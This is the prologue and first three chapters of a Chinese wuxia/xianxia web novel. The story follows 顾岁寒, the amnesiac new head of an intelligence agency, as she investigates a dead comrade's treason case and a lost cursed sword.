《五陵年少》
1. 楔子
——振威二十三年,隆冬——
“吁——”
宋安澜勒住缰绳。褐色骏马随着她的动作半身立起,长嘶一声,扬起一片雪尘。不等马站稳,她翻身而下,向迎面跑来的副将喝问道:“有消息吗?”
“蕲州落棋阁的人说,有人见过疑为阁主的人进了青州。”副将王逸沉声道,“将军,已经是酉时末,雪夜行军,兄弟们都很疲累——”
“点五十个人同我去青州。”宋安澜直接打断了他,“速度要快。”
王逸目光闪动,发白干裂的双唇微张,似乎想要说什么,但目光触及宋安澜如同坚冰一般的神色,只能告退点兵。宋安澜目送他向着军营走去,直至他宽厚的背影被风带起的雪尘淹没。身边的马有些焦躁,在原地转圈踱着步。
“你说她为什么要走?”她轻声问道,“为什么是青州?”
马不能回答她,只是打了一个响鼻。又开始飘雪了,她喃喃道:“我倒是指望她别回来了。”
人点齐了。黑色的劲骑在雪中穿行,如同一把利刃,直直指向百里外的青州。
天色一点点地暗下去,只有洁白的雪地闪烁着微光。宋安澜远远便看见了青州城墙上城防兵点起的火把,如同萤火在黑夜中跳动,火光照耀下,城墙上黑影重重。上面的人似乎看见了他们,无数光点在向城门上方聚集。
莫名的焦虑在心中酝酿发酵,宋安澜一咬牙,双腿再次夹击催马,如同离弦的箭一样冲了出去,身后五十骑兵人乏马疲,竟一时间被她甩下。
城门随着她靠近一点点打开。一个粗哑的男声在在城上高喊:“将军——城内未能发现姬泠踪迹——”
她下意识随着喊声向上望去,却在目光触及城上的瞬间浑身冰凉,不由得嘶声大喊:“姬泠——”
城墙上有一处已经荒废的瞭望塔,不知为何还没有拆,正在狂风中微微颤抖晃动。而在那塔上,竟摇摇欲坠地站着一个人。那人身形单薄,一身白布麻衣,一头秀发扎作一个紧实的发髻,虽然远隔数十仞,但多年并肩同袍的情谊还是让她一眼认出来了。宋安澜又大吼一声:“姬泠——你给我下来——”
喊出来的瞬间她便知道自己恐怕说错了话。可是来不及犹豫了,她毅然弃马,腰间剑出鞘载着她御剑而上,想在城上人跳下之前接住她。
那一瞬间,隔着重重风雪,她看见了姬泠的眼睛。
那双眼和雪一样冷,和塞外的朔风一样冷。
眼睛的主人的唇角掀动,轻轻说了一句话。宋安澜还没来得及反应过来她说了什么,霎时间火光一闪,瞭望塔的一根支柱拦腰折断。塔身顺着风势斜倒,她只得狼狈躲开。
“姬——泠——”
一声巨响,瞭望塔轰然倒地。一丝鲜红从那废墟下缓缓渗出。宋安澜呆呆地看着,耳鸣声几乎淹没了众人的嘈杂。她连心神不定,以至剑身在急速下坠都没能注意到。
姬泠说的是:“此身此生,不负山河。”
宋安
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澜重重栽到了雪地上,柔软的积雪像一个冰冷的怀抱,她深陷其中,嘴大张着,却不能呼吸,雪粒落到嘴里,化作了酸涩的咸。
她喊:“阿姐——阿姐——姬檐雨——你回来啊——”
《盛史》载:定国将军之次女,名曰姬泠,字檐雨,生于前朝六十一年。振威六年,其双亲殉道,帝甚怜之,遂收为义女,封号长安公主。泠自幼聪颖,过目不忘,常有奇思妙计。及至成年,投身北安军,摄北安军师之职。十八年秋,北安军主帅宋酿突失其踪,北贼乘隙而入,泠摄副将之职,辅佐宋安澜守青州,重伤昏迷,四月方苏,后归朝廷。
二十三年春末,北贼大举来犯,连陷五城。御史大夫韩玉青于朝堂之上直指泠叛国,以书信为证,举国震惊。二十三年十月,战事稍歇,帝禁泠于长安宫,衣食如常。二十三年腊月,泠自禁中逃出,北上至青州,自高处坠下身亡,遗言曰:“此身此生,不负山河。”帝悲痛欲绝,责令三司重审姬泠叛国一案。
而这些都是后话了。
二十四年元月初二,宋安澜自哀病中醒来,草草料理了姬泠的丧事。她是罪人,不能厚葬,又因着高坠,尸身破碎难堪,最后只能找了条干净席子收殓下葬,草草插了块木板充作墓碑。
还没等她自悲痛中缓转,青州落棋阁传讯,说是两个月前派去北周的探子被救回,外伤极重,神志不清,需要借宋安澜之手护送回盛都朝歌休养。
她只得再次扬鞭启程,奔向北疆。
2. 第一章 青玉案 一
——临安城,采绣楼——
京都西南角的西市中,一座三层高的小楼伫立于诸多商铺之间。恰逢七夕,金吾不禁,西市也颇为热闹,这挂着“采绣楼”牌匾的布庄自然也不例外,挽着手的男男女女来往其间,络绎不绝。然而,但凡有人多看这小楼两眼,便回发现这楼的异常——平日里老板声称作为库房的二三楼此刻也灯火通明,不时有行色匆匆的男子从采绣楼后门进入,很久都未出来。
事实上,本朝禁风月场所,但管辖力度薄弱,收效甚微,依然有不少人仗着家里关系,暗中开设此类场所,采绣楼便是其中之一。此间主人格外胆大,大隐隐于市,因着格外方便,不少朝中高官也爱光临此处,陈筑便是其中之一。
陈筑是朝中出了名的青年才俊,二十七岁便官居四品。因着尚未娶妻,不少人都指望着将自家女儿塞入他房中,然而都未成功,众人都以为此人一心仕途,谁知他居然会暗中光顾这种地方。
陈筑熟门熟路地上了三楼,打开一处房门闪身进去,其中早有两个“绣娘”跪在墙边等候。他回到了熟悉的地方,放松了下来,长舒了一口气,一屁|股坐在床上,随手指了一个“绣娘”道:“你,过来给我揉揉腿。”
她指的那人低眉顺目地膝行上前,半个身子依偎到他怀中,给他捶揉起来。而另一个人自觉站了起来,走到桌边倒茶奉上。陈筑将茶一饮而尽,随口道:“好像还没见过你们俩,叫什么名字?之前的采薇呢?”
倒茶那人道:“奴名采寒,姐姐名叫采奚,采薇姐姐今天身子不爽利,所以首席派我们二人来服侍大人。”
采绣楼为了防止出事,“绣娘”换得很勤,所以陈筑并未对面前的两个生面孔起疑,而是享受起了温香软玉在怀的时光。
桌上的熏香暗暗蒸腾,正当陈筑觉察今日这熏香起效过慢,没有兴致时,房间的门突然被推开,“身子不爽利”的采薇出现在了门口,后面还跟着另一位“绣娘”,一时间十目相对,采薇手上的花“啪嗒”一声掉到了地上:“你们两个是谁,怎么在陈大人房中,来——”
“来人呐”尚未出口,那“采寒”便骤然出手,只听得“咻咻”两声,门口二人便晕厥了过去,陈筑也察觉出了不对,一把勒住了怀中“采奚”的脖子。
那采奚在异变突生时便想躲开,却还是慢了一步——一把指间刃凭空出现在她脖颈间。陈筑挟持着她站了起来,居高临下道:“你们是谁?交代清楚,不然我杀了她!”
虽然被人拿捏住了性命,但那采奚却毫不慌张,冷冷道:“陈筑,我劝你还是老实交代吧,落棋阁的棋子已经下到了此处,你个‘头雁’还能挣扎到几时?”
话音未落,那采寒从袖中掏出一把软剑,欺身上前。陈筑心头一紧,下意识把指间刃往下一压,谁知还未使上力,他眼前便突然一黑。那采奚仿佛早料到有此一出,找准时机扣住他手上麻筋,便挣脱开来,下一瞬,采寒的剑便到了他面门,两人合作可谓天衣无缝。
这陈筑虽然反应快,武功却远远不敌采寒,更别提刚开始便落了下风,狼狈躲开了采寒的第一剑,却也让中段空门大开,第二剑顷刻而至,一剑捅穿了他侧腰。陈筑痛呼一声,采寒一脚跟上,将他狠狠踩到了床上,随后行云流水地卸了他下颌和手脚关节。陈筑杀猪般地惨嚎了一声,便像团烂肉一样软软地倒在了床上。
“漂亮。”任务完成,采奚——蒋奚也不复刚刚那般装模作样,爽朗道,“梅臣,身手进步不少嘛,之前我还有点但心只有咱俩行不行呢。”
“还是你未雨绸缪,把香先点上了。”被称为“梅臣”的姑娘淡淡道,“走吧,物证具在,这人就是咱们一直在找的那个朝中的‘头雁’,把他带回阁中细细审问好了。居然有人把重要东西藏在青楼里,真是鬼才。”
“嗯,今天这活挺顺,明天就知会安澜姐把这地掀了。”蒋奚走上前来架住了陈筑,“梅臣,你架他那边,省力一些,这人怎么这么沉。”
“梅臣……?”听到这个名字,陈筑不知想到了什么,嘶声道,“你是顾梅臣?顾岁寒?”
顾岁寒换了一个架他的姿势,没有吭声。陈筑变相确认了他心中的猜想,如同闻了烈药的种马般,眼中亮起了摄人的光芒:“哈哈哈哈哈,你居然养好了伤,还让咱俩遇上了!顾大侍棋,你不记得我,我可记得你,你当时在我归雁台的牢里那么狼狈,半年后还想欺到我归雁台头上来!我告诉你顾岁寒,你休想!雁首早早便盯上了你,你一辈子都别想走出那个雁牢!唔……”
顾岁寒换了姿势,腾出了手将他一手刀劈晕,周围瞬间安静了下来。蒋奚奇道:“咦?你不听听他后面怎么说?我还以为你会好奇归雁台那边准备怎么对付你呢。”
顾岁寒闷闷的声音从那边传来:“聒噪。等回头进了棋牢,什么都能审出来,现在让他大喊大叫只会打草惊蛇,明天这采绣楼就会变成一座寻常的布庄。”
“这不是有隔音的术法嘛……”蒋奚哼哼道,但也没有多说,顺着顾岁寒的力将陈筑抬去了墙边。顾岁寒空着的那只手搭上了那面墙,原本空无一物的墙面上浮现出了一个发着荧光的阵法。
那阵法不断旋转,扩大,直至一人高,两臂宽。顾岁寒先行踏入了阵法之中,一阵天旋地转,再次脚踏实地时,外面已经换了天地。早有人在外面等候着她们,见到阵法波动便迎上前来:“顾执棋,蒋侍棋,可还顺利?”
“不算顺利,但也算有惊无险。”顾岁寒将人“嘭”的一声扔到了地上,“不过那边有些事要收收尾,有两个无关的姑娘被我打晕了,你们记得去处理一下。我去和定北侯商量一下采绣楼的事。”
迎接她那人说:“遵命。对了执棋,谢侍棋回来了,说要找……”
话还没说完,顾岁寒跟没听见似的一头又扎回了还未消散的阵法里。那人的话卡在了一半,有点莫名:“今天谁惹着执棋大人了?”
蒋奚耸耸肩表示不知道:“或许是地上这个吧。你们把他押去棋牢里吧,记得绑严实点。话说你刚刚说什么来着,谢侍棋回来了?”
作为本朝最大的情报网,落棋阁设执棋一位,统管全阁,左执棋、右执棋各一,分别掌管阁内的黑、白两色棋,除此之外便是黑棋、白棋若干,黑棋行于夜色,多行刺杀、潜行之事,白棋多在明面,干的是乔装窃密之举。
一言以蔽之,左执棋分管黑棋的刺客,右执棋分管白棋的探子。
今夜,落棋阁本来只是想要暗中查探陈筑是北朝情报网“归雁台”的人的证据。这事原本随便派两个黑棋潜入采绣楼就能解决,但顾岁寒大病初愈,非说要干点活疏通一下筋骨。执棋都出马了,作为右侍棋的蒋奚实在不放心,自然随行。
谁知两人在采绣楼陈筑常用的房间翻找时,刚打开一个暗格找到一枚证明陈筑身份的“雁牌”,本来应当在府中处理公务的陈筑却突然出现在采绣楼后门。
快刀斩乱麻,两人干脆一不做二不休,设下迷香准备将陈筑迷晕后直接带回阁内,谁知中途杀出了个采薇,引发了一番波折。蒋奚白棋出身,虽然生得玲珑心思,武功却是平平,好在顾岁寒虽是旧伤在身,武功却是没落下,这趟任务才算是圆满完成。
蒋奚心说今天出门真是没看黄历,目光移向墙上那个消失了的阵法,心思又不由得移到了顾岁寒的身上——
这位顾岁寒,也是位奇人。她出身边塞名门青州顾氏,家里满门忠烈,父母更是在她尚在襁褓中时就殉了国。
先帝怜她孤弱,将她接进宫教养,这姑娘也是不负众望,小小年纪就天资聪颖,被上一任落棋阁的执棋张首晟看中带进了落棋阁。
这事先帝本来不是很乐意——落棋阁毕竟是个卖命的地方,把忠烈之女塞进去算个什么事?但耐不住顾岁寒自己执意要来,只得作罢。
刚进阁时,张首晟念在她家世代武功传承,学武天资应当不错,便将她当成黑棋教养,谁知随着年岁渐长,顾岁寒的武功固然不错,易容伪饰之类的手艺却是益发强了起来,再加上顾岁寒作为黑棋命根的轻功始终练得差强人意,张首晟干脆将她转去了白棋。
转来白棋后,众人才发现顾岁寒待在黑棋实在是明珠蒙尘。她在白棋的功课样样第一,学起人来惟妙惟肖,演起戏来天衣无缝。
白棋结业时她扮作张首晟的一位老友和他畅聊一日,一直到暮色四合真正的朋友推门进来,张首晟都才意识到和自己闲聊了一日的“老朋友”居然是个假货,而自己居然连第一次上战场时紧张地尿了裤子这种事都告诉给了这位演技精湛的后生。
当时他便抚掌长叹:“落棋阁有岁寒小友,大善!大善!”
而这样的一位天才,大半年前却败在了北朝归雁台的“雁主”手下,被囚禁了月余,用尽酷刑。据说去接应她的人找到她时,她身上没有一块好肉,光是致命伤就有大大小小十余处,得亏顾岁寒这
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些年未曾懈怠过修行道法,那内功心法吊着她一口气等来了宋安澜的救援。
皮肉伤好说,京城里最不缺的就是医修,哪怕人走到阎王爷面前了都能救回来。最糟糕的是,一个月后顾岁寒悠悠转醒,人们才发现,归雁台那边不知道用了什么法术,这位曾经惊才绝艳的天才,失忆了。
说失忆也不准确,她记得大部分事情,但是一些最关键的事情却不记得了——譬如说,忘记了她曾经是落棋阁中最优秀的一枚白棋,也忘记了她被派往北疆最重要的任务——夺回南盛神兵碎曦剑。
失忆前,同为白棋,蒋奚也曾经与顾岁寒共事。那时顾岁寒年少成名,不免骄矜,平日里做事说一不二,爽朗大方,当时阁里人都称她“明棋昭昭”,在没有任务时看到顾岁寒——那样明媚的女子,那样锐意的少年——哪怕再差的心情都会变好。
然而如今的顾岁寒,不能说不好,人却不像以前那般明媚了。蒋奚至今都记得顾岁寒养伤归来后自己见到她的第一面——那时顾岁寒顶着一张平平无奇的假脸,坐在执棋的桌子后面。有三两个白棋结伴来找她报告,她茫然地回望着他们,目光中说不好是冷漠还是惶然。那眼神就像一只初入他人领域的小狼。当时蒋奚站在一旁,心里百味杂陈。
“蒋侍棋!”一个白棋从远处跑来,大呼小叫地打断了她的胡思乱想,“那个新来的雁关哪?”
蒋奚没好气道:“这还需要我多安排?真是没人管久了都放纵了?关最里头!”
那白棋诺诺应是,飞快地跑开了。蒋奚忧愁地看着他的背影,心想:“如果你还在就好了……梅臣现在恹恹不振,这阁里又该怎么办呢?”
正想着,背后突然有人喊她,声音里有些犹疑:“——蒋侍棋?”
那声音离得很近,她被吓了一跳,转过身去发现这声音的主人十分眼熟——她惊讶道:“谢……谢侍棋?你回来了?怎么都不叫人通报一声?轻悄悄的,唬我好大一跳!”
谢侍棋——谢停舟抱歉道:“在下喊蒋侍棋好几声了,可能是蒋侍棋有心事,才没注意到在下。也怪在下甫一上任便远走西北,蒋侍棋恐怕不熟悉在下的声音。”
谢停舟是前任落棋阁执棋姬泠去世后新领命的落棋阁左侍棋。与此同时,他还有一重更重要的身份——姬泠正经三媒六娉订过婚的未婚夫。姬泠含冤身死后,先帝悲痛欲绝,责令落棋阁协同刑部重查姬泠通敌一案,这谢停舟就是被派来协助落棋阁的。
蒋奚信任姬泠,自然对谢停舟也颇有好感,现如今倒是被谢停舟这一串“抱歉”“怪我”搞得十分不好意思,连连摆手:“无妨无妨,谢侍棋是来找执棋的?不巧,她刚回来就去定北侯那边了,侍棋若有急事的话不妨去定北侯府上拜访,执棋目前也暂住侯府,今晚可能不会回阁中了。”
“啊,无妨,多谢告知,在下不着急。”谢停舟拱手行了一礼,“今晚定北侯府上恐怕有家事处理,在下就不去添乱了。对了,蒋执棋称在下表字停舟即可,不必拘礼虚职。”
“啊?家事?”蒋奚莫名,“侯府上有什么家事是我们白棋都没听说的?”
谢停舟摆摆手表示自己不便多说,转身就往自己的值房走去了,徒留信息不通的蒋奚在原地一头雾水。
与此同时,定北侯府上——
穿过了空间法阵的顾岁寒还没来得及缓过法阵带来的眩晕感,就听见十丈之外的书房里传出一声怒喝,惊起一阵飞鸟:“孤不想留下这个孩子!如今北疆战事刚定,时局尚且动荡,更何况阿泠的冤屈还在等着人去洗雪,孤就算再想要个孩子也不该是现在!一来一去耽误至少半年光景,孤如何能放心得下这诸多身外事?”
一个男声好生劝慰道:“既然不想留就找个日子让太医来开药流掉就好了,何必动这么大气?”
“还不是宋礼那个臭小子!”女声的主人一拍桌子,顾岁寒感觉自己脚下的大地都在隐隐震颤,“又是劝孤留血脉又是劝孤不要伤身体坏礼法,说白了不就是想要趁孤怀孕时要了孤的兵权吗?外敌未定就开始对自己人耍手腕,这小子真是出息了!目光短浅,气煞我也!”
男声又劝了些什么,不过这下声音低了许多,顾岁寒听不清了。她想了想,走过去叩了叩书房紧闭的门扉,低声道:“殿下,是我,梅臣。”
门打开了。门里,劲装女子放下了施法的手,倚在太师椅上,疲惫道:“来了,梅臣。帮孤来拿拿主意。”
3. 第二章 青玉案 二
顾岁寒顺着她的目光坐到了下首的椅子上,诚恳道:“殿下,我真的不擅长这些的,朝中的事我听着就犯怵。”
宋安澜柳眉一竖:“你不是白棋吗?白棋不都很擅长这种弯弯道道的事?”
顾岁寒不知道这话怎么接,只好闭上了嘴。一直在一边陪着的男人来打圆场:“这毕竟是咱们的家事,梅臣不方便插嘴不也正常?”
“你还好意思说!”一提起这个顾岁寒就气不打一处来,“要不是你我能有这个孩子?还至于有现在的烦心事?”
男人自知理亏,缩到了一边不接话了,五大三粗的身材硬生生给他缩出了猥琐气质。注意到顾岁寒略带疑惑的目光,宋安澜解释道:“这位是我夫君,镇西军的主帅姬昀姬灼晔……哎呦我的梅臣小宝贝,你怎么什么都不记得了,这可怎么办哦。”
顶着宋安澜慈母般的目光,宋安澜更不知道说什么好了。虽然她从受伤醒来后第一眼见的就是宋安澜,之后也一直在她府上生活,但不知为何对宋安澜随时随地的关系一直都不太适应。宋安澜看着她窝窝囊囊的样子,更加惆怅了:“算了,这事也不能光为难你,你也忙着呢,先走吧,我和姬昀再商量商量……哦对了梅臣。”
见她毫不犹豫想溜,宋安澜开口喊住了她:“前两天定北军的一支斥候巡逻时捡到了这个,辨认了一下应该是你的剑,你拿好了。”说罢从旁边拿起一把重剑就丢了过来。顾岁寒眼疾手快地接住,好悬没被这剑带了一个大跟斗:“——我的?”
“对啊,错不了,剑铭上写着呢,这就是你的展锋。”说罢宋安澜挥了挥手,“你先走吧,这边用不上你帮忙——姬昀,你把梅臣送回她房里去,她老迷路。”
顾岁寒刚想拒绝,但见宋安澜态度坚定,只好又闭上了嘴。姬昀追上她,和她并肩走出书房外,又落后半步带上了门。
两人并肩走在侯府的小路上。顾岁寒刚刚醒来时听侯府的家将讲过,这处府邸是盛都朝歌南迁后征用了当地富绅的园林改的,所以不同于模仿旧都皇宫的南都行宫,侯府里假山绿水,白墙黛瓦,颇有江南风情。两人行在夏夜里的蝉鸣中,一路默默无声。直到顾岁寒所住的那处客房在林间露出了一个檐角,姬昀才突兀开口问:“我妹妹……姬泠的那个案子,查得如何了?”
听到姬昀的名字时顾岁寒就猜测过他是不是和姬泠沾亲带故,如今这称呼算是坐实了她的猜想。顾岁寒摇摇头:“抱歉……我近日大病初愈,刚刚接手落棋阁中的事宜,还没来得及细查。”
“好吧。”姬昀失落地叹了口气,目光沉沉,“舍妹的事麻烦执棋阁下多上心了……在下还要回去处理家事,客房就在潜伏,失陪。哦,对了。”
他又想起什么事,停住了脚步:“舍妹一案绝不简单,落棋阁也并非看上去的那样铁板一块。顾执棋,多加小心。”说罢转身匆匆走了。
顾岁寒看着他的背影消失在绿竹掩映中,才返身慢慢往回走。新到手的佩剑——或者说武器,这重剑的形状显然已经不再适合被佩在身上了——沉沉地压在手中,顾岁寒心中的困惑却也越来越大。她推开客房门进入屋中,关上了门,却没有着急点亮蜡烛。一片昏暗中,她准确地找到了自己的床榻,将整个人掼到了床上,重剑顺着她的手掉到了一边。
五个月前,她便是在这张床上醒来。周围都是陌生的环境,她的记忆断断续续,对自己的处境一无所知,只有陌生的人和太医围着她转来转去。直到后来她渐渐好转,每天不再需要人日夜看护,宋安澜才来和她讲了一些之前发生的事。
从宋安澜还有后来的蒋奚口中,她得知了自己曾是落棋阁最为出色的白棋,初代阁主张首晟最为之骄傲的徒弟,数次卧底未尝败绩。直到去岁九月,北疆周朝的“归雁台”雁主沈和正率领台中数十精英鬼魅一般地出现在距北疆千里之遥的落棋阁总部。
事发突然,又是晚上,落棋阁总舵仅有不到五十人值守,且大多都是还未出师的学徒,一时之间人仰马翻。沈和正等人却并不恋战,一路长驱直入闯入落棋阁内库中夺走了南盛的镇国之宝碎曦剑。
这碎曦剑与那空有名头的尚方宝剑不同,是实实在在的杀器。它是前朝炼器大师林海铮的封炉之作,以乱葬岗下矿脉中的玄铁锻炼两年而成,期间林海铮的两个弟子先后在七月十五跃入炉中祭剑。剑出炉时方圆十里百鬼哀哭,帝都上空的黑云盘旋轮转,久久不散。林海铮看到剑成,大笑三声气绝而亡。
后来人看到剑上光华轮转,光打到剑身上便会反射为无数碎镜般的华光,遂为之起名“碎曦”。碎曦剑的剑胚被无数冤魂滋养数十年,锻剑过程中又先后吞下三人性命,自然煞气非常。南盛人大多修道,但修道之人只要长期佩戴此剑无不被其中煞气影响,最终走火入魔。不仅如此,一般人只要被这剑伤到,哪怕是再小的一个伤口,都会邪气入体,痛苦而亡。修士对此剑或能抵御一二,但也收效甚微。
这剑辗转数人手中,最终落到了张首晟手上。张首晟思量再三,决定将此剑封入落棋阁内库,除非战乱再不取出。沈和正不知从何处得知了此剑的确切位置,偷出后如虎添翼,杀出落棋阁外,正好遇见了听到消息前来阻拦的张首晟。张首晟年逾半百,面对正值盛年的沈和正心有余而力不足,交手数百招,最后被碎曦剑一剑穿心。
等到当时正在南都休沐的左侍棋姬泠赶回来时,落棋阁的总舵已经没有活口了。
仓促间落棋阁剩下的棋子们推举姬泠成为新一代的执棋。然而还没等姬泠开始着手调查总舵暴露并策划夺回碎曦剑,北周就悍然发兵,在碎曦剑的帮助下接连攻占北疆青州十三城,作为定北军的军师,姬泠只好暂时放下手里的事奔赴前线。然而还未等她动身,御史大夫韩玉青就上书弹劾她里通外国,并有往来书信为证。
那书信足有数十封之多,是姬泠的妹妹姬漓自姬泠书房中找出的。姬泠大呼冤枉,先帝也不甚相信,但无奈实在是多事之秋,只好暂时将姬泠收押宫中,另派小将石沣至北疆前线。
碎曦剑在北周手中可谓是如虎添翼,南盛不能不夺。先帝勒令落棋阁两月之内必要夺回碎曦剑,务求一击即中。高压之下,顾岁寒——也就是她自己,请缨前往北疆前线,先帝应允。
故事直到这里顾岁寒还有些模模糊糊的印象,之后的事记忆就彻底成为白纸了。据当时在前线领兵的宋安澜说,她先是到青州的落棋阁分舵落了一下脚,随后就越过前线到了已经被攻占的松青府。她潜入后两旬多,北周大军突然起了一阵骚乱。北周之前埋伏的白棋传回消息说或许是碎曦剑失窃。
收到消息后,宋安澜凭借自己多年沙场经验带来的直觉,悍然发兵反扑。北周军虽然有所防守,但是战阵中再无碎曦剑的力量。这情形愈发印证了白棋的消息和宋安澜的猜测。宋安澜
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直接兵行险招,放弃守城全军出击,拿回了包括松青府在内的三座城池。
战事至此已是隆冬,北周军失去了碎曦剑的支持,气势一下萎靡不振了起来。宋安澜带了一支精骑,绕后截下了北周军的粮草供应,将足足万石的粮草付之一炬。北周军自此难以为继,逐渐颓败。至元月,北周军夺下的十三城已经全部拿回。
但令人忧心的是,虽然碎曦剑不在北周手上,碎曦剑也不在南盛手上——落棋阁一直没有收到有关顾岁寒半个字的消息。没有碎曦剑帮助,宋安澜也没底能乘胜追击,于是暂时偃旗息鼓。这期间本来该在禁中的姬泠莫名失踪,并在一日后被发现自戕于青州的青州府城楼上。宋安澜安葬昔日同袍后,在城外五十里的界碑处捡到了重伤的顾岁寒。
顾岁寒身上很可能有碎曦剑的消息,宋安澜不敢怠慢,御剑星夜兼程带她回南都诊治。然而结果也显而易见——顾岁寒命大活了下来,却变成了一个一身伤病,记忆不全的半废人,而且一点有关碎曦剑的消息也没有。但她毕竟大概率是那个夺回了碎曦剑,在一定程度上决定了战局的功臣。根据落棋阁执棋的传承标准,她接过了姬泠的衣钵,成为了新一代执棋。新帝感念于她的功勋,给她封了个虚职不说,还赐下了各类赏赐。
于是,顾岁寒就莫名其妙地成为了一代功臣。
“这样也挺好。”顾岁寒心说,“我用努力和痛苦换来了功勋,然后忘了自己经历过怎样的痛苦,岂不是相当于没当值却直接拿到了俸禄?”
——这话之前她也和宋安澜说过,换来了宋大将军的一个白眼。顾岁寒将这自动理解为了宋安澜嫉妒她——这很人之常情,她要是知道有人不劳而获也这么翻白眼。但是宋安澜当时的眼神更加复杂,她说:“梅臣,你以前不是这样没心没肺的。”
没心没肺没什么不好。她心说,想太多容易痛苦。
当然,毕竟接过了落棋阁执棋的活,她还是要意思意思的,别真把落棋阁干垮了,这下她真成千古罪人了——她只是没心没肺,暂时还不想遗臭万年。新的右执棋蒋奚听说了自然也很乐意,忙不迭地辅佐她了解阁内大小事务。
半个月下来,顾岁寒可喜地发现自己在干这行上还是很有天赋的,不愧是别人口中曾经的天才,具体表现在很多事一点就透,不用教试试就会,最重要的事,当武器来到她手中时——无论是什么武器,她都使得得心应手。
这种身怀利器的感觉令她着迷。记忆模糊不清,过去扑朔迷离,但只要她手中抓着可以自卫的武器,她就可以所向披靡。武器于她,就好像船舵之于江船,给她以乘风破浪的勇气。
但这其中有个例外——她将目光移向了被她放在一旁的展锋剑,缓缓坐了起来,将剑拿在了手中,轻轻一拧打开了剑鞘上的搭扣,把剑拔了出来。
她琥珀般的瞳仁里映照着剑身上的剑铭“展锋”二字。这剑是好剑,锋芒毕露;字也是好字,遒劲有力。唯一的问题是,这是一柄重剑。
重剑,顾名思义,沉而大。普通的剑招以刺挑为多,而重剑的剑招则更加接近刀法,以劈砍为主,需要持剑者用躯干力量带动剑身,剑招更加笨重,相应的更适合自身力量刚强,骨干力量更大的武者。
然而这么多天练武下来,顾岁寒对自己的身体一清二楚——她骨架偏小,所有招式都是走快而灵的路子,是绝对,绝对不适合用重剑的。
4. 第三章 青玉案 三
身上的旧伤不会改变她固有的武功路数,所以这把剑绝对是不适合她的。那么,她为什么要用这把剑?还是说,宋安澜给的剑有问题,这把剑根本就不是她的剑?
如果是后者,那么宋安澜到底是在故意试探,还是无心之失?
这种事显然是不好直接向当事人求证的,但在这里干想显然也不会有结果。顾岁寒将目光重新投回了剑身上。这把重剑是用黑铁锻造的,整把剑足足有两掌宽,半身长,夜里不经意看过去时,黑沉沉地仿佛将周围的光都一口吃进去似的。
她一挥手把屋里的两盏蜡烛都点起来,屋里一下就被暖融融的光填满了。她再细看这剑时,作为武人的本能让她真是越看越欢喜——这剑身虽然笨重,锋却开得很锋利,光是放在她腿上时剑自身的重量就把两侧的布料划开了细细的口子;剑上隐隐有冷铁掺杂着灰尘的气味,说明这剑应当有一段时间未曾使用了,剑面上却很干净,没什么铁锈的味道,连暗纹里都没有血垢堆积……等等,暗纹?
顾岁寒眯起眼睛,细细看了起来,才发现了这剑上的玄机——她将剑柄上防滑的麻布条拆下来,里面金属的部分竟是被纵向一剖为二的。她来回试了两次,最终将剑柄向两边打开的同时使一个上下拆开的巧劲,重剑便顺着这力道拆分成了两把长刀。
顾岁寒颠了颠刀,发现虽然用起来还是有些别扭,但是顺手了许多,双刀也更适合她的武功路数,遂十分满意地收下了,将最开始的重剑理解为了曾经的自己为了方便携带双刀而设计的机关。她拿着新武器在房里试了两招,刀风过处烈烈作响,刀锋处的一线银光好似能割裂空气似的所向披靡,收招时带出的刀风甚至将远处烛台上的烛芯都削短了一截。
“好刀!”她心说,“有这刀,管他是‘宋礼’还是‘送终’,‘姬泠’还是‘木讷’,一刀过去,什么妖魔鬼怪不是都要显形吗?”
自打她从病中苏醒,这些送礼机灵之类的破事就一直在她耳边晃荡。前脚姓谢的大老远就来递名帖说要她帮忙给姬泠申冤,后脚宋安澜就被宋礼烦得在家里叽嘹跳脚,可是——顾岁寒有几分没心没肺地想——这和她有什么关联呢?
退一万步讲,她从北周回来,立下了那样大的功勋——虽然她自己不记得了——她就不能躺在功劳簿上安安稳稳地过一辈子吗?
这样想着,她抱着又被自己顺手合回去的双刀,躺回了特意多铺了两层褥子的软榻上。新弹的棉絮将她温柔地包裹在中-央,好像还是稚子时母亲的怀抱那样包容。
没错,就是这样,她继续想,那样大的功勋,就算她不怎么记得,身上落下的旧伤做不得假。她可是实实在在地在生死边缘走了一趟,现在身上还有各种的不痛快,一到阴天就各处发痛发痒。她现在只想趁早找个机会跟皇帝请辞,把手头的事交给那个忙起来跟上了发条似的不知疲倦的小蒋奚,去个山清水秀的地方,无事喝茶抚琴,旧伤发作时就往榻上一躺昏个十天半月的养伤。就算哪天死那里了,也算是魂归天地,现在在这么个“执棋”上劳心劳力算什么事?
“可是,”她心里有一个声音细细地说,“你真的能就这样放心一走了之吗?”
——是的。固然从北周的表现上可以判断,她夺走碎曦剑的任务应该是成功了,但是碎曦剑也不在南盛手上。只要这剑一天没在南盛朝廷手中,就是多一天的祸患,倘若被哪个坏藏祸心的人捡走,那更是能挑动一方风云。至于落棋阁,虽然蒋奚是个勤勤恳恳的牛马,但很明显她还是个愣头青,抓个陈筑的功夫就差点出事,落棋阁交到她手中未来简直一眼到头。
最重要的是,姬泠和宋安澜——虽然她已经记不清以前的她们了,可是直觉告诉她,她们曾经是很好的朋友。如果是朋友的话,她是不是应该伸出援手呢?
她看着头顶水色的床帐,头疼地翻了一圈,脑袋里两个念头此起彼伏打架,无论如何都想不出个所以然来,反倒煎熬得她心里有股火在烧似的。就这么想着想着,她渐渐地睡着了,做了一宿乱梦,醒来后也不记得做了什么,只觉得脑子像被展锋敲了似的疼。
而她昨晚关于她和姬宋二人之间关系的猜测,也很快被宋安澜推翻了。
“梅臣,我知道你之前和檐雨关系可能有点僵,但是,”早上,宋安澜把她叫起来一起用早膳。桌上,她身体微微前倾,真挚地直视着顾岁寒,“阿泠这个事情牵涉并不像表面那样简单,别的不说,就算是为了大盛,为了我,能不能请你暂时放下以前和阿泠之间的龃龉,多多费心查查阿泠的案子?”
顾岁寒有种不真实的感觉:“……我和姬泠关系不好吗?”
可是,可是……她拼命在脑中搜寻关于姬泠的回忆,发现自己真的半分关于她的记忆也无,所有对她的了解都源于醒来后他人的描述。这个认知让她骤然有了一种一脚踩空的感觉,仿佛一切都不真实了起来。
觑着她难看的神色,宋安澜还以为自己不小心踩到了她的什么伤疤,忙解释道:“其实我也不是很清楚,只是从阿泠那里听说的。”
“你知道的吧,阿泠从落棋阁出师后不久就来我的定北军里做军师了。说是军师,其实是落棋阁放在定北军里的一个信息桩子,很多白棋从北边传回来的消息都要从她那里经手,所以她平时也挺忙的。我只是有几回听她说的……”
